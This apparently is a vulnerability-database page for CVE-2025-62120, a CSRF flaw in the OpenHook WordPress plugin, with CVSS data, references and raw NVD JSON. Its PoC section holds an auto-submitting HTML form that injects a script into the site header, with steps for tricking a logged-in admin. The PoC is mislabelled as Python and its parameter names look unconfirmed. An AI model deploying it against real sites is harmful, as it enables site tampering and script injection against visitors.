CVE-2025-62120

Description

Cross-Site Request Forgery (CSRF) vulnerability in Rick Beckman OpenHook thesis-openhook allows Cross Site Request Forgery.This issue affects OpenHook: from n/a through <= 4.3.1.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

OpenHook (thesis-openhook) <= 4.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62120 - OpenHook Plugin -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC</title>
</head>
<body>
    <h1>CSRF PoC - CVE-2025-62120</h1>
    <p>This PoC demonstrates the CSRF vulnerability in OpenHook plugin <= 4.3.1</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrf-form">
        <!-- OpenHook plugin action parameters -->
        <input type="hidden" name="action" value="openhook_save">
        <input type="hidden" name="openhook_nonce" value="">
        
        <!-- Malicious content injection -->
        <input type="hidden" name="thesis_head" value="<script>alert('XSS via CSRF')</script>">
        <input type="hidden" name="thesis_footer" value="">
        
        <!-- Submit automatically on page load -->
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrf-form').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If you see this message, the CSRF attack has been executed.</p>
</body>
</html>

<!-- 
Usage:
1. Replace 'http://target-wordpress-site' with the actual target URL
2. Replace the nonce value with a valid nonce if anti-CSRF was implemented
3. Host this HTML on a server accessible to the WordPress admin
4. Trick the admin into visiting this page while logged into WordPress

Note: This PoC is for educational and security testing purposes only.
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62120
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62120
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62120/
[4] VulDB https://vuldb.com/cve/CVE-2025-62120
[5] https://patchstack.com/database/Wordpress/Plugin/thesis-openhook/vulnerability/wordpress-openhook-plugin-4-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62120", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:52.670", "lastModified": "2026-04-23T15:34:34.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Rick Beckman OpenHook thesis-openhook allows Cross Site Request Forgery.This issue affects OpenHook: from n/a through <= 4.3.1."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Rick Beckman OpenHook permite la falsificación de petición en sitios cruzados. Este problema afecta a OpenHook: desde n/a hasta 4.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thesis-openhook/vulnerability/wordpress-openhook-plugin-4-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}